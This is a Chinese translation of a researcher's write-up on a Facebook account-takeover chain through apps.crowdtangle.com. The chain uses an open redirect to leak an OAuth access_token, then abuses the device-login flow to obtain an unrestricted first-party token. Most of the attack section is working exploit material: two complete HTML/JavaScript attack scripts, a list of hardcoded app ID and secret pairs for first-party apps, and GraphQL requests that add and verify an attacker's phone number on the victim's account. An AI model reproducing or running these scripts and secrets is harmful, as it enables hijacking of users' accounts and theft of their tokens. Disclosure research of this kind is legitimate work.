原文链接:
https://ysamm.com/?p=667
描述
该错误可能允许恶意用户窃取发给apps.crowdtangle.com的第一方access_token后接管Facebook帐户 。 如果用户已经登录,则apps.crowdtangle.com Facebook应用程序的OAuth回调终结点 会将access_token重定向到另一个终结点。另一个端点可以由攻击者设置,这意味着如果我们可以在apps.crowdtangle.com中找到一个开放的重定向,它可以将URL片段部分中的令牌重定向到另一个网站,并使用它来接管该帐户。该攻击不需要用户交互。
细节
窃取用户的Facebook受限access_token
如果未登录的用户访问apps.crowdtangle.com中需要登录用户的任何页面,则会将cookie设置为访问的页面(cookie redirect_url\=https%3A%2F%2Fapps.crowdtangle.com%2FENDPOINT)。然后将重定向到 https://apps.crowdtangle.com/auth?type=0。**用户登录后,对https://apps.crowdtangle.com/facebook/auth 端点的任何请求 都将导致302重定向到cookie redirect_url内的URL 。在这里,redirect_url cookie中选定的端点应替换为开放的重定向端点。
apps.crowdtangle.com的Facebook应用程序的ID为527443567316408
其正确的回调端点为 https://apps.crowdtangle.com/facebook/auth。
为了验证用户可以访问 https://apps.crowdtangle.com/auth/server 端点,他/她将被重定向到 https://apps.crowdtangle.com/facebook/auth
然后重定向到https://www.facebook.com/v2.9/dialog/oauthclient\_id=527443567316408&redirect_uri=https://apps.crowdtangle.com/facebook/auth&response\_type=code&state=VALID\_STATE。
有效的回调将导致POST消息发送到 apps.crowdtangle.com/users/login ,并且用户将登录。
从现在开始,对apps.crowdtangle.com/facebook/auth的任何请求 将重定向到 https://apps.crowdtangle.com/ENDPOINT。
由于回调端点将重定向到攻击者在步骤1中指定的任何URL(在我们的示例中为https://apps.crowdtangle.com/ENDPOINT)
因此我们将重新请求https://www.facebook.com/v2.9/dialog/oauth?client\_id=527443567316408&redirect\_uri=https://apps.crowdtangle.com/facebook/auth&response\_type=token,这一次是请求令牌,它将在url的片段部分返回,而不是附加为参数(/facebook/auth#access_token=)。由于现在用户已在步骤2之后登录,因此端点/facebook/auth将重定向到/ENDPOINT,浏览器会将哈希部分传递给下一个URL。端点apps.crowdtangle.com/ENDPOINT将使用包含令牌的URL片段部分重定向到攻击者的网站。
攻击中的apps.crowdtangle.com/ENDPOINT将被开放重定向端点替换。这将是 apps.crowdtangle.com/CUSTOM_PAGE/e/x/x/HASH/。CUSTOM_PAGE将是攻击者或公开的,我们将处理HASH部分,该部分是代表下一个URL的编码字符串。
前面的所有步骤都可以窃取在Crowdtangle Facebook应用程序权限下生成的Facebook用户access_token。以下是按顺序应用所有先前步骤的攻击脚本,这将导致在攻击者网站上接收到access_token。
<html>
<body>
<script>
cli = function(){
opn = window.open("https://apps.crowdtangle.com/CUSTOM_PAGE/e/x/x/HASH/");
setTimeout(function(){
opn.location.href = "https://apps.crowdtangle.com/auth/server";
setTimeout(function(){opn.location.href = "https://www.facebook.com/v2.9/dialog/oauth?client_id=527443567316408&redirect_uri=https://apps.crowdtangle.com/facebook/auth&state=ANY_STATE&response_type=token";},3000);
},4000);
}
</script>
<button onclick\='cli()'>Click</button>
</body>
</html>
收到的Facebook用户access_token是第一方(由Facebook拥有的应用程序生成),可用于访问https://graph.facebook.com/graphql端点。但是,为此特定应用程序(Crowdtangle)生成的access_tokens在执行graphql查询/突变时有一些限制。access_token不允许我们进行更改,如果我们想要接管帐户,将使其变得无用,因为我们将无法添加新的电话号码或电子邮件。查询也受到限制,我无法收集有关用户的严重信息。
从上一次攻击开始,受害者将使用access_token重定向到攻击者的网站。攻击者的网站将收到access_token并执行以下步骤:
1. 使用以下参数将POST请求发送到 https://graph.facebook.com/v2.6/device/login “ scope = public_profile&access_token = 437340816620806 | 04a36c2558cde98e185d7f4f701e4d94 ”(请注意,未使用受害者的access_token,但在这里创建设备代码以授权应用程序437340816620806(这是允许设备登录的第一方应用程序)。
我们将把“ user_code”记为USER_CODE,将“ code”记为受害者受害者的access_token,以后记为“ RETRIEVE_CODE ”
2.请求https://graph.facebook.com/graphql?access\_token=VICTIM\_CROWDTANGLE\_TOKEN&variables={“userCode”:”USER\_CODE“}&doc\_id=2024649757631908&method=POST(来自上一步的
USER_CODE)VICTIM_CROWDTANGLE_TOKEN是从Crow窃取的access_token。
这应该授权USER_CODE并返回CSRF“ nonce”,我们将其记为USER_NONCE
3.将用户重定向到 https://m.facebook.com/dialog/oauth/?app\_id=437340816620806&redirect\_uri=https://m.facebook.com/device/logged\_in/?user\_code%3DUSER\_CODE%26nonce%3DUSER\_NONCE%26is\_preset\_code%3D0&ref=DeviceAuth&nonce=USER\_NONCE&user\_code=USER\_CODE&auth\_type=rerequest&scope=public\_profile&qr=0&\_rdr**。在这里,我们删除了force_confirmation参数以避免用户交互。(要更好地了解它的来源,请尝试执行步骤1,然后在m.facebook.com/device中输入user_code)。
由于从前面的步骤开始,我们已经生成了与提供的USER_CODE匹配的有效CSRF令牌/随机数,因此无需用户交互即可完美地工作。
4.这应该使用oauth代码,有效的用户随机数和有效的用户代码重定向到 https://m.facebook.com/device/logged\_in/ 。应用程序的授权应该成功。
5.在攻击者方面,他/她将发出此请求以检索没有限制的第一方access_token:
更换RETRIEVE_CODE后,https://graph.facebook.com/v2.6/device/login\_status?access\_token=437340816620806|04a36c2558cde98e185d7f4f701e4d94&code=RETRIEVE\_CODE&method=post 。这应返回437340816620806应用程序授权的第一方access_token。我们将其记为FIRST_PARTY。
攻击者将使用此令牌通过添加电话号码来接管帐户:
添加:
https://graph.facebook.com/graphql?access\_token=FIRST\_PARTY&doc\_id=10153582085883380&variables{“input”:{“client\_mutation\_id”:1,”actor\_id”:”VICTIM\_USER\_ID”,”phone\_number”:”ATTACKER\_PHONE”}}&method=POST
验证:
https://graph.facebook.com/graphql?access\_token=FIRST\_PARTY&doc\_id=10153582085808380&variables{“input”:{“client\_mutation\_id”:1,”actor\_id”:”VICTIM\_USER\_ID”,”confirmation\_code”:”RECEIVED\_CONFIRMATION\_CODE”}}&method=POST
此第二阶段脚本将尝试获取从使用Facebook设备登录的Facebook应用程序之一生成的access_token。下面尝试了许多方法,而不是一种方法,因为如果用户以前未使用过一个应用程序,则将要求他/她首先对其进行身份验证。我们尝试所有这些方法,以增加其中一种方法先前已通过身份验证的机会,因此不需要用户交互:
<html><body><script>
keys = ["1348564698517390|007c0a9101b9e1c8ffab727666805038","972631359479220|4122f9182c57154d89cab3cbb62259db","155327495133707|a151725bc9b8808a800f4c891505e558","1331685116912965|e334a1eca4d4ea9ac0c0132a31730663","867777633323150|446fdcd4a3704f64e5f6e5fd12d35d01","437340816620806|04a36c2558cde98e185d7f4f701e4d94","661587963994814|ffe07cc864fd1dc8fe386229dcb7a05e","1692575501067666|3168904bd42ebb12bf981327de99179f","522404077880990|f4b8e52fea9ccae9793e11b66cca3ae0","233936543368280|b5790a8768f5fd987220d34341a8f1d8","1174099472704185|0722a7d5b5a4ac06b11450f7114eb2e9","628551730674460|b9693d3e013cfb23ec2c772783d14ce8","1664853620493280|786621f3867f7ab1bfc0ff9d616803fc","521501484690599|3153679748f276e17ffe16c3f3a06b14"];
token = "";if (window.location.hash) {
crowd_token = window.location.hash.split("=")[1];start_attack(null, keys.shift());}async function second_stage(wind, user_code, retrieve, key){fetch("https://graph.facebook.com/graphql?access_token=" +crowd_token.toString() + '&variables={"userCode":"' + user_code + '"}&server_timestamps=true&doc_id=2024649757631908',{method:"POST", mode:"cors" ,credentials:"omit"}).then(response => response.json()).then(function(data){if(data.data.device_request.device_record.nonce){
nonce = data.data.device_request.device_record.nonce;} else {nonce = "ignore"};
app_id = key.split("|")[0];
wind.location.href = https://m.facebook.com/dialog/oauth/?app\_id=${app\_id}&redirect\_uri=https%3A%2F%2Fm.facebook.com%2Fdevice%2Flogged\_in%2F%3Fuser\_code%3D${user\_code}%26nonce%3D${nonce}%26is\_preset\_code%3D0&ref=DeviceAuth&nonce=${nonce}&user\_code=${user\_code}&auth\_type=rerequest&scope=public\_profile&qr=0&\_rdr;}); setTimeout(function(){ fetch("https://graph.facebook.com/v2.6/device/login_status?access_token=" + key + "&code=" + retrieve + "&locale=en_US&method=post",{method:"POST", mode:"cors" ,credentials:"omit"}).then(response => response.json()).then(function(data){if(data.access_token){alert(data.access_token);} else if(!keys.length == 0){start_attack(wind, keys.shift())} }) },7000)}function start_attack(wind, key){if (!wind){
wind = window.open("about:blank");}fetch("https://graph.facebook.com/v2.6/device/login?access_token=" + key ,{method:"POST", mode:"cors" ,credentials:"omit"}).then(response => response.json()).then(function(data){USER_CODE = data.user_code;RETRIEVE_CODE = data.code;if ( USER_CODE && RETRIEVE_CODE){second_stage(wind, USER_CODE, RETRIEVE_CODE, key);}
else {start_attack(wind, keys.shift())}});}</script></body></html>
在这里,我们只是对新检索到的令牌发出警报,但是在现实生活中,我们将保存该令牌,然后像以前解释的那样稍后将其用于接管帐户。
本文迁移自知识星球“火线Zone”